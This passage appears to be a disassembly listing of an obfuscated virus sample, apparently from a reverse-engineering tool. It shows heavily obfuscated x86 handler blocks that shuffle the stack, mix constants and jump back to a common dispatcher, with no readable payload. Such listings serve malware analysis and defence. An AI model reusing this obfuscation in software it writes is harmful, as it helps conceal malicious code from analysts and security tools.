loc_57B961:				; CODE XREF: Virus___:0057383Cj
		add	esp, 4
		dec	ecx
		push	edx
		push	edi
		mov	edi, 4DA969FCh
		jmp	loc_57EAF9
; ---------------------------------------------------------------------------


loc_57B974:				; CODE XREF: Virus___:005737A8j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_57A810
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_579137
; ---------------------------------------------------------------------------


loc_57B994:				; CODE XREF: Virus___:00572E7Ej
		xor	esi, 40013066h
		push	4D2Bh
		mov	[esp], edx
		mov	edx, 0FEBFD0D8h
		jmp	loc_577C44
; ---------------------------------------------------------------------------


loc_57B9AC:				; CODE XREF: Virus___:00579232j
		mov	edx, [esp]
		push	7D3Eh
		jmp	loc_5777FD
; ---------------------------------------------------------------------------


loc_57B9B9:				; CODE XREF: Virus___:0057C564j
		dec	edx
		add	edx, 3E844B5Fh
		jmp	loc_5777BF
; ---------------------------------------------------------------------------


loc_57B9C5:				; CODE XREF: Virus___:0057CF6Cj
		mov	ebx, 4F3E2317h
		push	ebx
		jmp	loc_579A8B
; ---------------------------------------------------------------------------


loc_57B9D0:				; CODE XREF: Virus___:00575855j
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	45ADh
		mov	[esp], ebp
		jmp	loc_574852
; ---------------------------------------------------------------------------


loc_57B9E4:				; CODE XREF: Virus___:0057865Cj
		mov	al, 28h
		push	ecx
		mov	ch, 96h
		mov	bh, ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_577847
; ---------------------------------------------------------------------------


loc_57B9F9:				; CODE XREF: Virus___:0057E915j
		xor	ebp, eax
		pop	eax
		xor	ecx, ebp
		pop	ebp
		jmp	loc_578E57
; ---------------------------------------------------------------------------


loc_57BA04:				; CODE XREF: Virus___:0057BB05j
		push	ecx
		jmp	loc_5735F4
; ---------------------------------------------------------------------------


loc_57BA0A:				; CODE XREF: Virus___:0057782Aj
		pop	esp
		jmp	loc_57668C
; ---------------------------------------------------------------------------


loc_57BA10:				; CODE XREF: Virus___:0057650Cj
		pop	ecx
		pop	ebp
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		mov	ebp, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57BA2C:				; CODE XREF: Virus___:00574A57j
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57BA31:				; CODE XREF: Virus___:005742EEj
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5748EA
; ---------------------------------------------------------------------------


loc_57BA40:				; CODE XREF: Virus___:005749A7j
		mov	[esp], ebx
		jmp	loc_573AF4
; ---------------------------------------------------------------------------


loc_57BA48:				; CODE XREF: Virus___:00574E4Cj
		push	dword ptr [esp]
		jmp	loc_57AF6F
; ---------------------------------------------------------------------------


loc_57BA50:				; CODE XREF: Virus___:005790B9j
		mov	[esp], edi
		jmp	loc_57A911
; ---------------------------------------------------------------------------


loc_57BA58:				; CODE XREF: Virus___:0057BD20j
		xchg	ecx, [esp]
		mov	esp, [esp]
		movsx	ecx, al
		push	4C03h
		mov	[esp], ecx
		jmp	loc_57C2C8
; ---------------------------------------------------------------------------


loc_57BA6E:				; CODE XREF: Virus___:005743EFj
		not	edi
		or	edi, 33E15700h
		or	edi, 58E52224h
		add	edi, 12005Dh
		add	ecx, edi
		pop	edi
		push	esi
		mov	esi, 4
		sub	ecx, 0EDA7588h
		jmp	loc_5784D8
; ---------------------------------------------------------------------------


loc_57BA96:				; CODE XREF: Virus___:00578A95j
		pop	edi
		xchg	eax, [esp]
		mov	esp, [esp]
		sub	[esp], al
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57BAA6:				; CODE XREF: Virus___:00579063j
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_576FEF
; ---------------------------------------------------------------------------


loc_57BAB7:				; CODE XREF: Virus___:005798C2j
		sub	bl, 4Ah
		push	dx
		jmp	loc_57A4BD
; ---------------------------------------------------------------------------


loc_57BAC1:				; CODE XREF: Virus___:005750BEj
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		movzx	ecx, ax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_57C5DE
; ---------------------------------------------------------------------------


loc_57BAE8:				; CODE XREF: Virus___:005739A8j
		push	eax
		push	esi
		mov	esi, 1DC351B1h
		mov	eax, 1DC351B5h
		jmp	loc_578A02
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	1E65h
		mov	[esp], ecx
		jmp	loc_57BA04
; ---------------------------------------------------------------------------


loc_57BB0A:				; CODE XREF: Virus___:0057AC5Dj
		add	al, cl
		jmp	loc_578E8F
; ---------------------------------------------------------------------------


loc_57BB11:				; CODE XREF: Virus___:0057E599j
		shl	edx, 1
		push	3A67h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	ebx, 72536F7Ch
		or	ebx, 2A7E24D4h
		or	ebx, 75976882h
		inc	ebx
		sub	ebx, 7FFF7000h
		mov	eax, ebx
		pop	ebx
		push	268Bh
		mov	[esp], eax
		push	dword ptr [esp]
		pop	esi
		jmp	loc_57D5DB
; ---------------------------------------------------------------------------


loc_57BB4E:				; CODE XREF: Virus___:00579BA3j
		sub	ebp, 38806D8Fh
		pop	ecx
		jmp	loc_57EC65
; ---------------------------------------------------------------------------


loc_57BB5A:				; CODE XREF: Virus___:00575973j
		pop	ebx
		jmp	loc_577509
; ---------------------------------------------------------------------------


loc_57BB60:				; CODE XREF: Virus___:0057356Bj
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_57A046
; ---------------------------------------------------------------------------


loc_57BB69:				; CODE XREF: Virus___:00578FADj
		xor	ebp, 7D1E6531h
		jmp	loc_57C561
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_575691
; ---------------------------------------------------------------------------


loc_57BB7C:				; CODE XREF: Virus___:00579687j
		push	6165h
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_57551C
; ---------------------------------------------------------------------------
		sub	esp, 4
		jmp	loc_57D908
; ---------------------------------------------------------------------------


loc_57BB96:				; CODE XREF: Virus___:0057DC3Dj
		mov	ebx, 4
		jmp	loc_57E2E1
; ---------------------------------------------------------------------------


loc_57BBA0:				; CODE XREF: Virus___:0057911Fj
		xchg	edx, [esp]
		pop	esp
		mul	cx
		push	small 4C5Fh
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57BBB7:				; CODE XREF: Virus___:00576BAEj
		mov	esi, [esp]
		jmp	loc_57ABBB
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_574987
; ---------------------------------------------------------------------------


loc_57BBCF:				; CODE XREF: Virus___:0057BC37j
		add	ebx, 4
		jmp	loc_57A5CF
; ---------------------------------------------------------------------------


loc_57BBDA:				; CODE XREF: Virus___:0057D2F3j
		mov	edx, 2A6E7A7Ah
		jmp	loc_579E2D
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		jmp	loc_576D85
; ---------------------------------------------------------------------------


loc_57BBEE:				; CODE XREF: Virus___:00574B98j
		push	esp
		pop	edx
		push	ebp
		jmp	loc_57388C
; ---------------------------------------------------------------------------


loc_57BBF6:				; CODE XREF: Virus___:0057E46Aj
		add	esp, 4
		sub	edx, 416C7597h
		jmp	loc_57CF02
; ---------------------------------------------------------------------------


loc_57BC04:				; CODE XREF: Virus___:0057A1BDj
		sub	ebx, eax
		jmp	loc_57CC3A
; ---------------------------------------------------------------------------


loc_57BC0B:				; CODE XREF: Virus___:0057E653j
		push	ecx
		push	2A5Ch
		mov	[esp], esi
		mov	esi, 2862739Eh
		push	1FF4h
		mov	[esp], ebx
		jmp	loc_5763C3
; ---------------------------------------------------------------------------


loc_57BC26:				; CODE XREF: Virus___:00579DAFj
		pop	dword ptr [esp]
		mov	esp, [esp]
		movzx	ecx, al
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_57BBCF
; ---------------------------------------------------------------------------


loc_57BC3C:				; CODE XREF: Virus___:00577039j
		mov	edi, 4
		jmp	loc_576A1A
; ---------------------------------------------------------------------------


loc_57BC46:				; CODE XREF: Virus___:00575A19j
		sub	ecx, 9760AA11h
		sub	eax, 57557C72h
		sub	eax, ecx
		add	eax, 57557C72h
		pop	ecx
		jmp	loc_57D1DD
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57BC6B:				; CODE XREF: Virus___:0057A05Aj
		push	edi
		mov	edi, esp
		push	2F75h
		jmp	loc_574BB8
; ---------------------------------------------------------------------------


loc_57BC78:				; CODE XREF: Virus___:0057EF19j
		mov	edi, [esp]
		add	esp, 4


loc_57BC7E:				; CODE XREF: Virus___:0057311Fj
					; Virus___:00577E38j
		push	ebx
		jmp	loc_57A902
; ---------------------------------------------------------------------------


loc_57BC84:				; CODE XREF: Virus___:0057C823j
		add	eax, edi
		pop	edi
		mov	ebp, eax
		pop	eax
		and	eax, ebp
		jmp	loc_57DF6B
; ---------------------------------------------------------------------------


loc_57BC91:				; CODE XREF: Virus___:00577210j
		xor	[esp], ebp
		jmp	loc_57C25A
; ---------------------------------------------------------------------------


loc_57BC99:				; CODE XREF: Virus___:005747D3j
		mov	edx, 46DC2B56h
		jmp	loc_57ECE3
; ---------------------------------------------------------------------------


loc_57BCA3:				; CODE XREF: Virus___:00576CB4j
		pop	esp
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57BCA9:				; CODE XREF: Virus___:0057D7B9j
		push	ebp
		jmp	loc_57A6CF
; ---------------------------------------------------------------------------


loc_57BCAF:				; CODE XREF: Virus___:00578674j
		not	ebp
		jmp	loc_5778CD
; ---------------------------------------------------------------------------


loc_57BCB6:				; CODE XREF: Virus___:00573C41j
		push	cx
		mov	ch, 85h
		add	bl, ch
		pop	cx
		add	bl, al
		jmp	loc_57A3AE
; ---------------------------------------------------------------------------


loc_57BCC5:				; CODE XREF: Virus___:0057C0BEj
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_57505C
; ---------------------------------------------------------------------------


loc_57BCD0:				; CODE XREF: Virus___:00574472j
		mov	eax, [esp]
		jmp	loc_57EB17
; ---------------------------------------------------------------------------


loc_57BCD8:				; CODE XREF: Virus___:00573CFEj
		mov	cl, 6Ch
		jmp	loc_575830
; ---------------------------------------------------------------------------


loc_57BCDF:				; CODE XREF: Virus___:005796ADj
		sub	esp, 4
		jmp	loc_575697
; ---------------------------------------------------------------------------


loc_57BCE7:				; CODE XREF: Virus___:0057C269j
		xor	eax, 0DAD7F0Dh
		push	78BCh
		mov	[esp], ebx
		jmp	loc_57D66B
; ---------------------------------------------------------------------------


loc_57BCF9:				; CODE XREF: Virus___:005796FAj
		add	esi, 4
		jmp	loc_57B74F
; ---------------------------------------------------------------------------


loc_57BD04:				; CODE XREF: Virus___:0057396Cj
		mov	[esp], ecx
		mov	ecx, 0DFA3CB8h
		sub	eax, ecx
		jmp	loc_5788DB
; ---------------------------------------------------------------------------


loc_57BD13:				; CODE XREF: Virus___:0057AE65j
		mov	edx, [esp]
		add	esp, 4
		add	ecx, 1539742Ch
		pop	edx
		jmp	loc_57BA58
; ---------------------------------------------------------------------------


loc_57BD25:				; CODE XREF: Virus___:0057CFE2j
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		sub	eax, 322121E0h
		add	eax, edi
		add	eax, 322121E0h
		pop	edi
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	5BAh
		mov	[esp], edx
		jmp	loc_578976
; ---------------------------------------------------------------------------


loc_57BD58:				; CODE XREF: Virus___:00576497j
		mov	eax, 72C923EDh
		add	ebx, eax
		pop	eax
		push	ecx
		mov	ecx, 7E393A82h
		add	ebx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 7B7F3CE0h
		jmp	loc_57A189
; ---------------------------------------------------------------------------


loc_57BD74:				; CODE XREF: Virus___:0057E525j
		or	eax, 5DC74055h
		shr	eax, 3
		push	ebx
		mov	ebx, 6FD6491Dh
		add	ebx, 7A9062E2h
		jmp	loc_579E87
; ---------------------------------------------------------------------------
		db 54h,	59h, 0E9h
		db 0Bh,	0DBh
		dw 0FFFFh
; ---------------------------------------------------------------------------


loc_57BD94:				; CODE XREF: Virus___:0057A32Bj
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		push	2DD6h
		mov	[esp], edi
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_57E406
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	3F3Fh
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		jmp	loc_57D501
; ---------------------------------------------------------------------------


loc_57BDD0:				; CODE XREF: Virus___:00574ADDj
		pop	ecx
		jmp	loc_577D94
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		push	esp
		jmp	loc_5788BF
; ---------------------------------------------------------------------------


loc_57BDE1:				; CODE XREF: Virus___:0057ECE4j
		xor	edx, 46DC2B57h
		add	ebp, edx
		jmp	loc_57B368
; ---------------------------------------------------------------------------


loc_57BDEE:				; CODE XREF: Virus___:0057CE23j
		pop	edi
		xor	edx, edi
		pop	edi
		add	eax, edx
		pop	edx
		push	7ED0h
		mov	[esp], ebx
		mov	ebx, 7BCF765Ah
		push	ecx
		push	edi
		jmp	loc_5762CF
; ---------------------------------------------------------------------------


loc_57BE09:				; CODE XREF: Virus___:00576462j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_57E651
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_57AD65
; ---------------------------------------------------------------------------


loc_57BE20:				; CODE XREF: Virus___:00578E70j
		mov	bl, dh
		pop	edx
		shl	bl, 5
		shr	bl, 8
		push	dx
		mov	dh, 0F7h
		add	bl, dh
		pop	dx
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 0D4h
		jmp	loc_57CFA1
; ---------------------------------------------------------------------------


loc_57BE41:				; CODE XREF: Virus___:00574A69j
		mov	ebx, [esp]
		add	esp, 4
		sub	bl, 0FCh
		sub	bl, ch
		add	bl, 0FCh
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_57EA56
; ---------------------------------------------------------------------------


loc_57BE5B:				; CODE XREF: Virus___:00578A43j
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_57A39A
; ---------------------------------------------------------------------------


loc_57BE69:				; CODE XREF: Virus___:00574774j
		add	edx, eax
		jmp	loc_577226
; ---------------------------------------------------------------------------


loc_57BE70:				; CODE XREF: Virus___:0057EEB1j
		pop	esp
		jmp	loc_57407D
; ---------------------------------------------------------------------------


loc_57BE76:				; CODE XREF: Virus___:0057E1CAj
		pop	esi
		jmp	loc_574D30
; ---------------------------------------------------------------------------


loc_57BE7C:				; CODE XREF: Virus___:00576D35j
		push	ecx
		mov	ecx, 508228D6h
		xor	ecx, 32BF593Ah
		and	ecx, 550655D9h
		inc	ecx
		jmp	loc_57D34E
; ---------------------------------------------------------------------------


loc_57BE94:				; CODE XREF: Virus___:0057C9F7j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 57A65FDBh
		sub	esi, 4E749D1h
		sub	esi, 38514079h
		inc	esi
		not	esi
		sub	esi, 2627362h
		push	edi
		mov	edi, 1CD048F9h
		jmp	loc_577E58
; ---------------------------------------------------------------------------


loc_57BEBF:				; CODE XREF: Virus___:0057661Cj
		mov	ecx, 0CB1EA8DBh
		sub	ebp, ecx
		jmp	loc_57B05F
; ---------------------------------------------------------------------------


loc_57BECB:				; CODE XREF: Virus___:0057456Aj
		pop	edi
		dec	ebp
		push	edx
		mov	edx, 41BD6E5h
		sub	ebp, edx
		pop	edx
		add	eax, ebp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_5778BC
; ---------------------------------------------------------------------------


loc_57BEE3:				; CODE XREF: Virus___:005771C8j
		xor	esi, 4F7826h
		shl	esi, 2
		sub	esi, 6E9715F3h
		shl	esi, 3
		xor	esi, 9E20A66Eh
		mov	ebx, esi
		pop	esi
		xor	ebx, ecx
		pop	ecx
		add	eax, 11194532h
		add	eax, ebx
		sub	eax, 11194532h
		pop	ebx
		add	eax, 2
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		add	[esp], ax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57BF27:				; CODE XREF: Virus___:0057A75Bj
		sub	edi, 5FB8939h
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		and	[esp], eax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57BF3D:				; CODE XREF: Virus___:0057E081j
		add	edx, 0FFFFFFFFh
		jmp	loc_574164
; ---------------------------------------------------------------------------


loc_57BF45:				; CODE XREF: Virus___:00572E9Cj
		push	edi
		mov	edi, 4
		jmp	loc_57AA66
; ---------------------------------------------------------------------------


loc_57BF50:				; CODE XREF: Virus___:0057C1ABj
		mov	eax, 4
		sub	ebx, eax
		jmp	loc_57DFDC
; ---------------------------------------------------------------------------


loc_57BF5C:				; CODE XREF: Virus___:0057CF9Cj
		add	eax, edx
		pop	edx
		add	eax, 4
		jmp	loc_57C97D
; ---------------------------------------------------------------------------


loc_57BF67:				; CODE XREF: Virus___:0057609Dj
		xor	eax, edx
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_573B29
; ---------------------------------------------------------------------------


loc_57BF74:				; CODE XREF: Virus___:00575C9Cj
		xor	ecx, 85A2F803h
		add	ebx, ecx
		jmp	loc_57D987
; ---------------------------------------------------------------------------


loc_57BF81:				; CODE XREF: Virus___:0057737Ej
		push	edi
		sub	esp, 4
		mov	[esp], esi
		push	0F6C7138h
		mov	esi, [esp]
		add	esp, 4
		shl	esi, 3
		jmp	loc_573239
; ---------------------------------------------------------------------------


loc_57BF9B:				; CODE XREF: Virus___:0057EF83j
		pop	ecx
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_579BCC
; ---------------------------------------------------------------------------


loc_57BFB0:				; CODE XREF: Virus___:0057D6F0j
		not	edx
		push	edx
		jmp	loc_575921
; ---------------------------------------------------------------------------


loc_57BFB8:				; CODE XREF: Virus___:00575BCFj
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_573EAA
; ---------------------------------------------------------------------------


loc_57BFC7:				; CODE XREF: Virus___:00573A2Bj
		add	ecx, 0FAADA394h
		mov	edx, ecx
		jmp	loc_5751B5
; ---------------------------------------------------------------------------


loc_57BFD4:				; CODE XREF: Virus___:005745DAj
		pop	edx
		pop	ecx
		add	ecx, 27BD0F29h
		jmp	loc_578446
; ---------------------------------------------------------------------------


loc_57BFE1:				; CODE XREF: Virus___:0057DDC1j
		inc	edx
		push	ecx
		jmp	loc_579273
; ---------------------------------------------------------------------------


loc_57BFE8:				; CODE XREF: Virus___:00572F32j
		push	dword ptr [esp]
		jmp	loc_575A4C
; ---------------------------------------------------------------------------


loc_57BFF0:				; CODE XREF: Virus___:0057999Fj
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57BFF5:				; CODE XREF: Virus___:0057D3D9j
		sub	esi, 8A2F2E00h
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		and	eax, ebp
		pop	ebp
		shr	eax, 10h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		push	ebp
		jmp	loc_57D355
; ---------------------------------------------------------------------------


loc_57C025:				; CODE XREF: Virus___:005756B4j
		sub	esi, 18AABB02h
		jmp	loc_57E1C8
; ---------------------------------------------------------------------------


loc_57C030:				; CODE XREF: Virus___:005795F1j
		pop	eax
		jmp	loc_577627
; ---------------------------------------------------------------------------


loc_57C036:				; CODE XREF: Virus___:00577C97j
		pop	ecx
		add	ebp, edx
		jmp	loc_57C248
; ---------------------------------------------------------------------------


loc_57C03E:				; CODE XREF: Virus___:00578A1Dj
		mov	ecx, 6FFB1F87h
		sub	ebx, ecx
		pop	ecx
		add	ebx, edx
		add	ebx, 6FFB1F87h
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		or	[edi+1Ch], esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57C061:				; CODE XREF: Virus___:00576989j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_577F19
; ---------------------------------------------------------------------------


loc_57C07A:				; CODE XREF: Virus___:005762EAj
		mov	eax, [esp]
		add	esp, 4
		xor	al, bl
		pop	ebx
		jmp	loc_578CCB
; ---------------------------------------------------------------------------


loc_57C08B:				; CODE XREF: Virus___:00577543j
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_5760A2
; ---------------------------------------------------------------------------


loc_57C09D:				; CODE XREF: Virus___:005773A5j
		mov	esi, esp
		push	ebx
		jmp	loc_5771DA
; ---------------------------------------------------------------------------


loc_57C0A5:				; CODE XREF: Virus___:0057CFB5j
		push	edx
		mov	edx, 6C4D3054h
		inc	edx
		shr	edx, 6
		and	edx, 34B368EDh
		xor	edx, 0B120C3h
		add	ecx, edx
		pop	edx
		jmp	loc_57BCC5
; ---------------------------------------------------------------------------


loc_57C0C3:				; CODE XREF: Virus___:005786CBj
		add	edi, 71674E1Fh
		add	edi, ebp
		jmp	loc_575E92
; ---------------------------------------------------------------------------


loc_57C0D0:				; CODE XREF: Virus___:0057A184j
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_575CA9
; ---------------------------------------------------------------------------


loc_57C0D9:				; CODE XREF: Virus___:00575348j
		movzx	ax, byte ptr [eax]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		push	dword ptr [esp]
		pop	edx
		jmp	loc_57EFD4
; ---------------------------------------------------------------------------


loc_57C0F0:				; CODE XREF: Virus___:0057D76Dj
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 8000h
		jmp	loc_579010
; ---------------------------------------------------------------------------


loc_57C115:				; CODE XREF: Virus___:0057B452j
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ch, 0B7h
		add	ch, 7Ah
		add	ch, 0Bh
		jmp	loc_572BF7
; ---------------------------------------------------------------------------


loc_57C13E:				; CODE XREF: Virus___:00576417j
		add	ecx, 4
		jmp	loc_57A8D3
; ---------------------------------------------------------------------------


loc_57C149:				; CODE XREF: Virus___:00574D51j
		add	esi, eax
		mov	eax, [esp]
		jmp	loc_57CFDA
; ---------------------------------------------------------------------------


loc_57C153:				; CODE XREF: Virus___:0057C77Cj
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 15D718DFh
		shr	ebp, 1
		dec	ebp
		neg	ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 160766CEh
		shl	edx, 2
		push	edx
		not	dword ptr [esp]
		pop	edx
		xor	edx, 52F61749h
		jmp	loc_575C4D
; ---------------------------------------------------------------------------


loc_57C191:				; CODE XREF: Virus___:00576DE5j
		inc	bl
		push	eax
		mov	ah, 0F3h
		push	ecx
		mov	cl, 7Dh
		push	edx
		mov	dh, 0F9h
		and	cl, dh
		pop	edx
		jmp	loc_579038
; ---------------------------------------------------------------------------


loc_57C1A4:				; CODE XREF: Virus___:0057495Cj
		add	ebx, 4
		push	eax
		jmp	loc_57BF50
; ---------------------------------------------------------------------------
		dd 16E9B32Ch
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57C1B7:				; CODE XREF: Virus___:005778F4j
		sub	eax, 0EB13D8E0h
		sub	ebx, eax
		jmp	loc_57C2E7
; ---------------------------------------------------------------------------


loc_57C1C3:				; CODE XREF: Virus___:005740A0j
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_57E9C6
; ---------------------------------------------------------------------------


loc_57C1CF:				; CODE XREF: Virus___:005751F9j
		mov	edx, [esp]
		jmp	loc_5796FF
; ---------------------------------------------------------------------------


loc_57C1D7:				; CODE XREF: Virus___:0057B591j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_57434D
; ---------------------------------------------------------------------------


loc_57C1E0:				; CODE XREF: Virus___:005741E0j
		mov	ebp, [esp]
		jmp	loc_5745A5
; ---------------------------------------------------------------------------


loc_57C1E8:				; CODE XREF: Virus___:0057B48Cj
		not	esi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_57631E
; ---------------------------------------------------------------------------
		db 0ACh, 4, 0DAh
		dd 0FFFFB3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57C1FD:				; CODE XREF: Virus___:005785FCj
		sub	eax, 304801A2h
		xor	eax, 802DB373h
		push	edx
		mov	edx, 41383065h
		add	ebx, edx
		pop	edx
		sub	ebx, eax
		sub	ebx, 41383065h
		pop	eax
		add	ebx, 76692F10h
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
		push	4
		pop	esi
		jmp	loc_57D9EA
; ---------------------------------------------------------------------------


loc_57C234:				; CODE XREF: Virus___:0057B05Aj
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	eax
		push	esp
		pop	eax
		jmp	loc_5767A6
; ---------------------------------------------------------------------------


loc_57C248:				; CODE XREF: Virus___:0057C039j
		mov	edx, [esp]
		add	esp, 4
		add	ebp, 2
		push	ebp
		jmp	loc_57D52C
; ---------------------------------------------------------------------------


loc_57C25A:				; CODE XREF: Virus___:0057BC94j
		xor	ebp, edi
		xor	edi, ebp
		jmp	loc_5771D3
; ---------------------------------------------------------------------------


loc_57C263:				; CODE XREF: Virus___:00578CBEj
		xor	[esp+4], edx
		pop	edx
		pop	eax
		jmp	loc_57BCE7
; ---------------------------------------------------------------------------


loc_57C26E:				; CODE XREF: Virus___:00575ACBj
		add	edi, esi
		pop	esi
		add	eax, edi
		pop	edi
		push	7F90h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_574DD6
; ---------------------------------------------------------------------------


loc_57C283:				; CODE XREF: Virus___:00575E23j
		add	esp, 4
		jmp	loc_576DE3
; ---------------------------------------------------------------------------


loc_57C28B:				; CODE XREF: Virus___:0057D0DBj
		push	ecx
		mov	ecx, 146E4B4Fh
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_574D99
; ---------------------------------------------------------------------------


loc_57C29E:				; CODE XREF: Virus___:0057D40Ej
		shr	ebp, 7
		sub	ebp, 957DA290h
		add	eax, ebp
		jmp	loc_57E17B
; ---------------------------------------------------------------------------


loc_57C2AE:				; CODE XREF: Virus___:00574E44j
		mov	esp, [esp]
		mov	[esp], ebp
		push	edx
		mov	edx, 2282236Fh
		dec	edx
		jmp	loc_57951C
; ---------------------------------------------------------------------------


loc_57C2C0:				; CODE XREF: Virus___:00576F8Fj
		mov	edi, ecx
		pop	ecx
		jmp	loc_576257
; ---------------------------------------------------------------------------


loc_57C2C8:				; CODE XREF: Virus___:0057BA69j
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57C2CD:				; CODE XREF: Virus___:0057A4FBj
		add	esp, 4
		inc	edi
		sub	edi, 510040EFh
		and	eax, edi
		pop	edi
		jmp	loc_57311D
; ---------------------------------------------------------------------------


loc_57C2DF:				; CODE XREF: Virus___:0057C475j
		mov	[esp], ecx
		jmp	loc_577345
; ---------------------------------------------------------------------------


loc_57C2E7:				; CODE XREF: Virus___:0057C1BEj
		pop	eax
		sub	ebx, 60C54A99h
		sub	ebx, eax
		add	ebx, 60C54A99h
		add	ebx, 290C2760h
		add	ebx, 596555CAh
		push	eax
		push	ebx
		mov	ebx, 0FE760E8h
		or	ebx, 23C415E2h
		add	ebx, 2CFBDACDh
		shr	ebx, 6
		jmp	loc_57E3A2
; ---------------------------------------------------------------------------


loc_57C31D:				; CODE XREF: Virus___:0057729Aj
		mov	[esp], edi
		push	ebx
		add	dword ptr [esp], 306B4A58h
		pop	edi
		sub	edi, 306B4A58h
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_574747
; ---------------------------------------------------------------------------


loc_57C33B:				; CODE XREF: Virus___:0057E73Fj
		mov	edx, 40DA2EE8h
		jmp	loc_574B9D
; ---------------------------------------------------------------------------


loc_57C345:				; CODE XREF: Virus___:00577736j
		add	esi, 2E8152CCh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_579F1C
; ---------------------------------------------------------------------------


loc_57C359:				; CODE XREF: Virus___:00577E85j
		xchg	edx, [esp]
		mov	esp, [esp]
		push	5BCFh
		mov	[esp], ebp
		push	esp
		jmp	loc_5765BA
